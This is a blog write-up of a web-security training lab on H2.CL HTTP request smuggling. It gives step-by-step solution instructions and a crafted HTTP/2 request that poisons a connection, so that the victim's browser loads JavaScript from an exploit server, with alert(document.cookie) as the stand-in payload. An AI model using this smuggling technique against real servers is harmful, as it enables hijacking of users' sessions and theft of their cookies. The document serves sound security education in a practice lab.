24.9 Lab: H2.CL request smuggling | 2024

This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length. To solve the lab, perform a request smuggling attack that causes the victim’s browser to load and execute a malicious JavaScript file from the exploit server, calling alert(document.cookie). The victim user accesses the home page every 10 seconds | Karthikeyan Nagaraj

Karthikeyan Nagaraj
2 min readMay 5, 2024

Description

This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length.

To solve the lab, perform a request smuggling attack that causes the victim’s browser to load and execute a malicious JavaScript file from the exploit server, calling alert(document.cookie). The victim user accesses the home page every 10 seconds

Solution

  1. Go to the exploit server and change the file path to /resources. In the body, enter the payload alert(document.cookie), then store the exploit.
  2. In Burp Repeater, edit your malicious request so that the Host header points to your exploit server:
POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
Content-Length: 5

x=1

3. Send the request a few times and confirm that you receive a redirect to the exploit server.

4. Resend the request and wait for 10 seconds or so.

5. Go to the exploit server and check the access log. If you see a GET /resources/ request from the victim, this indicates that your request smuggling attack was successful. Otherwise, check that there are no issues with your attack request and try again.

6. Once you have confirmed that you can cause the victim to be redirected to the exploit server, repeat the attack until the lab solves.

7. This may take several attempts because you need to time your attack so that it poisons the connection immediately before the victim’s browser attempts to import a JavaScript resource. Otherwise, although their browser will load your malicious JavaScript, it won’t execute it.

--

--

Karthikeyan Nagaraj

Security Researcher | Bug Hunter | Web Pentester | CTF Player | TryHackme Top 1% | AI Researcher | Blockchain Developer